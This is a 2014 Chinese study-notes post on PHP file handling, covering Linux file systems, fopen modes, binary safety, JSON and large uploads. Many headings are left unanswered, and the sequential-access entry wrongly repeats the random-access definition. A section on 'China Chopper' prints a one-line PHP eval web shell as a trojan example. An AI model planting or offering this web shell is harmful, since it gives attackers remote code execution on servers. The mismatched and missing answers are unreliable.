PHP文件核心编程


文件和文件系统

什么是文件,在Linux下什么是文件呢?

在Linux系统中,无论是常见的数据文件、可执行文件,还是一个目录,甚至设备都以文件的形式存在。

Linux下文件类型有哪些?

文件类型 缩写 英文 其他名称
普通文件 - Regular file  
目录文件 d Directory file  
块特殊文件 b Block special file 块设备文件
字符设备文件 c Character special file 字符设备文件
先进先出 p FIFO named pipe,命名管道
套接字文件 s Socket  
符号链接 l Symbolic link 软链接

什么时inode?

文件储存在硬盘上,硬盘的最小存储单位叫做”扇区”(Sector)。每个扇区储存512字节(相当于0.5KB)。
操作系统读取硬盘的时候,不会一个个扇区地读取,这样效率太低,而是一次性连续读取多个扇区,即一次性读取一个”块”(block)。这种由多个扇区组成的”块”,是文件存取的最小单位。”块”的大小,最常见的是4KB,即连续八个 sector组成一个 block。
文件数据都储存在”块”中,那么很显然,我们还必须找到一个地方储存文件的元信息,比如文件的创建者、文件的创建日期、文件的大小等等。这种储存文件元信息的区域就叫做inode,中文译名为”索引节点”。
每一个文件都有对应的inode,里面包含了与该文件有关的一些信息。

inode包含什么内容?

如何得知文件名最长能到多少?

获取最长文件路径长度:getconf PATH_MAX /root
获取最长文件名:getconf NAME_MAX /root

如何获取文件的inode信息?

可以用stat命令,查看某个文件的inode信息: stat example.txt

ext3文件系统有什么特点?

  1. 日志文件系统(英语:Journaling file system),一种文件系统,指在文件系统发生变化时,先把相关的信息写入一个被称为日志的区域,然后再把变化写入主文件系统的文件系统。在文件系统发生故障(如内核崩溃或突然停电)时,日志文件系统更容易保持一致性,并且可以较快恢复。
  2. 位目录跨越多个块提供基于树的目录索引
  3. 在线系统增长

Exbibyte是什么单位,和Tb如何换算?

Exbibyte(exa binary byte的缩写),简称EiB,是一个电脑容量单位,即1,152,921,504,606,846,976字节,是1PiB的1024倍, 是1TiB的1024^2倍。

XFS文件系统有什么特点?

XFS,一种高性能的日志文件系统,最早于1993年,由Silicon Graphics为他们的IRIX操作系统而开发,是IRIX 5.3版的默认文件系统。2000年5月,Silicon Graphics以GNU通用公共许可证发布这套系统的源代码,之后被移植到Linux 内核上。XFS 特别擅长处理大文件,同时提供平滑的数据传输。

  1. XFS是一个64位文件系统,最大支持 8exbibytes 减1字节的单个文件系统,实际部署时取决于宿主操作系统的最大块限制。对于一个32位Linux系统,文件和文件系统的大小会被限制在 16tebibytes。
  2. 日志文件系统是一种即使在断电或者是操作系统崩溃的情况下保证文件系统一致性的途径。XFS对文件系统元数据提供了日志支持。当文件系统更新时,元数据会在实际的磁盘块被更新之前顺序写入日志。XFS的日志被保存在磁盘块的循环缓冲区上,不会被正常的文件系统操作影响。

  3. XFS文件系统内部被分为多个“分配组”,它们是文件系统中的等长线性存储区。每个分配组各自管理自己的inode和剩余空间。

  4. 在条带化RAID阵列上创建XFS文件系统时,可以指定一个“条带化数据单元”。这可以保证数据分配、inode分配、以及内部日志被对齐到该条带单元上,以此最大化吞吐量。

  5. XFS文件系统中的文件用到的块由变长Extent管理,每一个Extent描述了一个或多个连续的块。与那些把文件所有块都单独列出来的文件系统来说,extent大幅缩短了列表。

  6. 块是文件系统中的最小可分配单元。XFS允许在创建文件系统时指定块的大小,从 512 字节到 64KB,以适应专门的用途。

  7. XFS在文件分配上使用了惰性计算技术。当一个文件被写入缓存时,XFS简单地在内存中对该文件保留合适数量的块,而不是立即对数据分配Extent。实际的块分配仅在这段数据被冲刷到磁盘时才发生。这一机制提高了将这一文件写入一组连续的块中的机会,减少碎片的同时提升了性能。

  8. XFS对每个文件提供了一个64位的稀疏地址空间,使得大文件中的“洞”(空白数据区)不被实际分配到磁盘上。因为文件系统对每个文件使用一个Extent表,文件分配表就可以保持一个较小的体积。对于太大以至于无法存储在inode中的分配表,这张表会被移动到B+树中,继续保持对该目标文件在64位地址空间中任意位置的数据的高效访问。

  9. XFS通过实现扩展文件属性给文件提供了多个数据流,使文件可以被附加多个名/值对。

  10. 对于要求高吞吐量的应用,XFS给用户空间提供了直接的、非缓存I/O的实现。数据在应用程序的缓冲区和磁盘间利用DMA进行传输,以此提供下级磁盘设备全部的I/O带宽。

  11. XFS确定速率I/O系统给应用程序提供了预留文件系统带宽的API。XFS会动态计算下级存储设备能提供的性能,并在给定的时间内预留足够的带宽以满足所要求的性能。

  12. XFS实现了数据管理应用程序接口(DMAPI)以支持高阶存储管理(HSM)。

  13. XFS并不直接提供对文件系统快照的支持,因为XFS认为快照可在卷管理器中实现。

  14. 虽然XFS基于Extent的特征和延迟分配策略显著提高了文件系统对碎片问题的抵抗力,XFS还是提供了一个文件系统碎片整理工具,xfs_fsr(XFS filesystem reorganizer的简称)。

  15. XFS提供了 xfs_growfs 工具,可以在线调整XFS文件系统的大小。

  16. XFS提供了 xfsdump 和 xfsrestore 工具协助备份XFS文件系统中的数据。

  17. XFS的磁盘配额在文件系统被初次挂载时启用。这解决了一个在其它大多数文件系统中存在的一个竞争问题:要求先挂载文件系统,但直到调用quotaon(8)之前配额不会生效。

文本文件和二进制文件

如何判断一个文件是文本文件?

二进制文件(英语:Binary file)一般指包含ASCII及扩展ASCII字符中编写的数据或程序指令的文件。广义的二进制文件即为文件,由文件在外部存储设备的存放方式为二进制而得名。狭义的二进制文件即指除文本文件以外的文件。

文本文件一般指只有字符原生编码构成的二进制计算机文件,于富文本相比,其不包含字样样式的控制元素,能够被最简单的文本编辑器直接读取。

file ~/.viminfo

文本文件和二进制文件有什么不同?

编码方式不同,文本文件使用字符编码,ASCII单字节编码、UTF-8可变长度字符编码等。二进制文件是基于值编码的文件, 可以根据协议自定义单个bit含义, 节省存储空间。


文件的打开方式

文件打开方式有哪些?各是什么含义?

‘r’ 只读方式打开,将文件指针指向文件头。
‘r+’ 读写方式打开,将文件指针指向文件头。
‘w’ 写入方式打开,将文件指针指向文件头并将文件大小截为零。如果文件不存在则尝试创建之。
‘w+’ 读写方式打开,将文件指针指向文件头并将文件大小截为零。如果文件不存在则尝试创建之。
‘a’ 写入方式打开,将文件指针指向文件末尾。如果文件不存在则尝试创建之。
‘a+’ 读写方式打开,将文件指针指向文件末尾。如果文件不存在则尝试创建之。
‘x’ 创建并以写入方式打开,将文件指针指向文件头。如果文件已存在,则 fopen() 调用失败并返回 FALSE,并生成一条 E_WARNING 级别的错误信息。如果文件不存在则尝试创建之。这和给 底层的 open(2) 系统调用指定 O_EXCL|O_CREAT 标记是等价的。\ ‘x+’ 创建并以读写方式打开,其他的行为和 ‘x’ 一样。
‘c’ Open the file for writing only. If the file does not exist, it is created. If it exists, it is neither truncated (as opposed to ‘w’), nor the call to this function fails (as is the case with ‘x’). The file pointer is positioned on the beginning of the file. This may be useful if it’s desired to get an advisory lock (see flock()) before attempting to modify the file, as using ‘w’ could truncate the file before the lock was obtained (if truncation is desired, ftruncate() can be used after the lock is requested).
‘c+’ Open the file for reading and writing; otherwise it has the same behavior as ‘c’.

文件指针是什么意思,如何操作文件指针?

一个指针变量指向一个文件,这个指针称为文件指针。通过文件指针就可对它所指的文件进行各种操作。

文件打开标记(’t’)如何使用,有什么作用?

文本 用语与其他模式的结合,这个模式只是Windows系统下的一个选项,它不是一个推荐选项,除非你曾经在代买中使用了b选项。

什么时候需要用二进制模式打开文件?

b 二进制模式——与其他模式进行连接,如果文件系统能够区分二进制文件和文本文件,你可能会使用它,Windows系统可以区分,UNIX系统则不区分,推荐一直使用这个选项,以便获得最大程度的可移植性,二进制模式是默认的模式

什么叫做二进制安全?为什么会出现二进制不安全?

二进制安全功能(binary-safe function)是指在一个二进制文件上所执行的不更改文件内容的功能或者操作。这能够保证文件不会因为某些操作而遭到损坏。二进制数据是按照一串0和1的形式编码的。而绝大多数的程序会给某些特殊的比特串赋予不同的格式代码,所以当用户使用一个程序读取一个二进制文件时,该文件会被按照这个程序的规则进行解释。如果这个程序所使用的格式编码和文件被写入的格式编码一致,那么这个文件可以被正常读取,否则该文件的格式代码之中会被附加一些无意义的符号,也可能会导致文件损坏。如果最严重的情况发生,这样的操作会因为损坏导致你的数据永久丢失。所以你应该将重要的文件保存在只读性的存储介质上,例如光盘。
  还有人说是此乃密码学范畴——二进制安全是指,在传输数据时,保证二进制数据的信息安全,也就是不被篡改、破译等,如果被攻击,能够及时检测出来。 二进制安全包含了密码学的一些东西,比如加解密、签名等。

 二进制安全是一种主要用于字符串操作函数相关的计算机编程术语。一个二进制安全功能(函数),其本质上将操作输入作为原始的、无任何特殊格式意义的数据流。其在操作上应包含一个字符所能有的256种可能的值(假设为8为字符)。

如何利用文件的打开模式,轻松实现多个文件的合并?

cat f1 f2 f3 f4 f5 > f6


文件的顺序存取和随机存取

什么是顺序读取?如何实现顺序读取文件?

所谓“随机存取”,指的是当存储器中的消息被读取或写入时,所需要的时间与这段信息所在的位置无关。

什么是随机存取?如何实现随机存取文件?

所谓“随机存取”,指的是当存储器中的消息被读取或写入时,所需要的时间与这段信息所在的位置无关。相对的,读取或写入顺序访问(Sequential Access)存储设备中的信息时,其所需要的时间与位置就会有关系

于数据结构中,随机存取暗指可由一堆数字之中,能够持续访问N值的能力,而且除了数组(及相关结构,例如动态数组)以外,绝少数据结构能够作出类似程序。另外,随机存取对不少算法,如快速排序及二元搜索而言不可或缺。其他数据结构,如合并排序,则凭随机存取作出有效率的输入、删除抑或搜索功能。

文件指针函数有哪些?各是什么用途?

什么是纯真IP数据库?

如何用PHP解析纯真IP数据库?

如何用PHP判断一个文件是不是png图片?

1.JPEG

2.TGA

3.PNG

4.GIF

5.BMP

6.PCX

7.TIFF

8.ICO

9.CUR

10.IFF

11.ANI

如何利用随机读写函数对打文件进行分割?


PHP中的XML和JSON操作要点

DOM方式解析xml有什么特点?

DOM 将 XML 文档作为一个树形结构,而树叶被定义为节点。

XMLReader和XML Parser如何解析xml文件?

标准的JSON格式是什么?

JSON建构于两种结构:

如何格式化输出JSON?

如何让json_encode的结果显示中文?

echo json_encode(array('a' => '中文'), JSON_UNESCAPED_UNICODE);


PHP大文件上传的原理和实现

有哪些技术可以实现大文件上传?

  1. HTML Form(可含Javascript、Ajax)。
  2. RIA技术(Flex、Silverlight、JavaFX等)。
  3. 插件技术(Acticx、Applet等)。

Ajax2.0有哪些新特性?

如何用XMLHttpRequest实现大文件上传和断点续传?


“中国菜刀”和一句话木马

什么是木马,如何编写一句话木马?

<?php @eval($_POST[value]);?>

什么是“中国菜刀”, 如何用“中国菜刀”?

如何防范网页木马?

如何有效的清除木马?


参考

Linux 文件系统剖析
理解inode
文件逻辑结构
PHP取二进制文件头快速判断文件类型
文件存取操作
介绍 JSON
Web上传大文件的三种解决方案
File API
XMLHttpRequest
AJAX
FormData
Using XMLHttpRequest

Yan Peipan 21 December 2014